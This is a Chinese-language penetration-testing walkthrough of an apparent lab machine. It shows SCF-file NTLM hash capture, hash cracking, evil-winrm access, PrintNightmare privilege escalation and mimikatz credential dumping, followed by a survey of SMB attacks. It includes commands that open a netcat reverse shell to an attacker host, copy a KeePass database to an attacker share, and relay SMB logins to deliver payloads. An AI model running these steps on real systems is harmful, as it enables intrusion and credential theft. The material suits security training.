前言本次渗透以SMB共享之SCF文件攻击为突破点,利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。 本次渗透过程从技术层面来说难度并不算很大,本文精华在于渗透过程中运用到了多个知识点,并对多种利用SMB攻击的方法作了总结,下面开始此次渗透实战之旅。 信息收集首先进行基本的端口扫描; 看到445端口,想到了smb的多种利用方法;看到5985,想到了可能要利用evil-winrm;然后在重点照顾下445端口; nmap -A --script smb-vuln* -p 445 10.10.11.106 并没有发现直接的突破口,那我们还是从web入手。 smb匿名登录尝试一波smb匿名登录,看是否存在共享文件,可以作为突破的线索; 常用命令总结如下: smbmap -H 10.10.11.106 暂时没有发现。 burp编码爆破打开网页,弹出Basic Authorization认证 抓包进行爆破; 划红线的地方要设置3次,分别为:1、admin 2、: 3、 密码 用个弱口令字典,跑出结果了; admin:admin SMB共享之SCF文件攻击登录后台,发现一个可上传文件的地方; 经过多次尝试,这里可利用SCF文件攻击进行渗透,下面介绍3种利用方法: 通过 NTLM 捕获进行 SMB 攻击基本原理:SCF(Shell 命令文件)文件可用于执行一组有限的操作,一个 SCF 文件可以用来访问一个特定的 UNC 路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。
将hack.txt文件保存为SCF文件,在文件名前面添加@符号可以将hack.scf放在共享驱动器文件列表的顶部。(@hack.scf)并设置接收方法; Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。 responder -wrf -I tun0 当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的8字节质询密钥会从服务器发送到客户端,散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。 除了Responder,MSF也有一个模块,可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。 auxiliary/server/capture/smb 上传之前的hack.scf来触发,就获取到了用户的NTLM值。 直接获取shell利用MSF框架实现攻击。
上传之前的hack.scf来触发,但本次渗透中该方法实测失败了。 上传payload获取shell本方法的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在NTLMv2哈希的协商过程。因此,也可以将此技术与SMB中继相结合,SMB中继将提供有效载荷,可以从访问该共享的每个用户检索Meterpreter Shell。 MSFVenom可用于生成将在目标上执行的有效载荷:
利用Impacket中的smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。 ./smbrelayx.py -h Target-IP -e ./hack.exe 同时利用MSF设置木马的回连端: exploit/multi/handler 模块需要配置与生成的有效载荷相同的参数。
当用户浏览共享时,SMB服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。本次渗透中该方法实测失败。 获取到NTLM值后,下一步尝试破解。 LM NTLM NET-NTLM2破解Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM Hash,第二部分是NT Hash Windows Vista / Server 2008已经默认关闭,在老版本可以遇到,但根据windwos的向下兼容性,可以通过组策略启用它
NThash NTLM是现在Windows系统上存储密码的方式,可以通过转储SAM数据库或使用Mimikatz来获得。
NTLMV1
hash破解:
NTLMV2
hash破解:
在本次渗透中用的是NTLMV2; hashcat -m 5600 -a 3 123.txt --wordlist top100.txt john --format=netntlmv2 123.txt -w=top100.txt 成功得到用户名和密码:tony:liltony 根据开放的445和5985端口,连接一波; 尝试psexec连接失败; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传( evil-winrm -i 10.10.11.106 -u tony -p liltony 连接成功,下面就要开始想办法进行提权。 smb带用户名密码登录利用得到的用户名和密码,再次尝试登录smb共享; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传( 提权主机信息收集尝试使用命令,结果没有权限执行; 那就用脚本来跑,常用的是winPEASx64.exe或者winPEAS.bat,这里有个小坑,程序运行时要加反斜杠; 结果很多,最后发现print spooler service 服务; 利用最近的WINDOWS PRINT SPOOLER远程代码执行漏洞(CVE-2021-1675)来提权。 https://github.com/calebstewart/CVE-2021-1675 测试发现直接导入powershell脚本会报错; 下面分别采用2种方法; msf加载powershell生成个木马
接收反弹; 利用evil-winrm上传hack.exe,运行; 程序会报错且会话中断,迁移下进程,再次尝试; 需要事先上传ps1脚本到主机对应的位置,否则找不到脚本;! 这次就成功执行了脚本,添加了一个新的用户且有administrator权限。还可以尝试一波远程运行ps脚本。 远程运行powershell脚本远程下载文件到本地并执行
远程执行ps1脚本
自己搭建个http服务器 远程运行ps脚本;
抓取密码试试; ./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit 至此,成功拿下了该主机,下面彩蛋环节,总结下其他几种smb常见的攻击方法。 smb攻击方式Windows SMB 的版本 SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。 SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。 SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。 SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。 SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。 SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。 目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,还支持 AES 128 GCM 加密,并使用SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时,SMB 3.1.1 还强制要求进行安全协商。 永恒之蓝我们运行以下MSF模块,该模块将直接利用目标机器。
暴力破解
如果破解成功,就可以枚举系统上的用户;
实测一下; PSexec 连接SMB可以用msf里的模块;
因为本次渗透无法成功,补了之前的一张图; 还可以用Impacket中的psexec.py ./psexec.py xie/administrator:密码@192.168.10.131 #用哈希值连接
还可以直接用psexec.exe程序; Rundll32 One-liner通过Metasploit的SMB Delivery启动Rundll32攻击 Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload,并提供检索和执行生成payload的命令。目前支持DLL和Powershell。
这将生成恶意 DLL 文件的链接,现在将此链接发送到你的目标并等待他的操作。 一旦受害者在运行提示符或命令提示符内运行恶意代码,我们就会在 Metasploit 上获得一个 Meterpreter 会话。 SMB DOS 攻击SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。 该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误,请将此模块作为服务运行,并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档,则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。
远程文件传输和运行文件传输用法如下: 利用著名的impacket包里的smbserver.py,进行文件传输。 然后在监听的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件 ![]() 还可以远程运行程序; 开启impacket里的smbsever服务,把ms15-051x64和nc64.exe放到我指定的共享文件, python smbserver.py Share '/root/htb/bastard' 在shell里执行反弹; \\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443" 另外本机监听443.收到,搞定 总结对于SCF文件攻击,我们也可以通过下列方法来防止这种攻击的发生: 2、禁用共享文件给未认证用户所提供的写入权限; 3、确保使用的是NTLMv2密码并增加口令的复杂程度。 |
标签: windows SMB 文件 哈希 exploit 攻击 共享 利用 密码 可以 出处: https://www.toutiao.com/a7023720997006213669/ |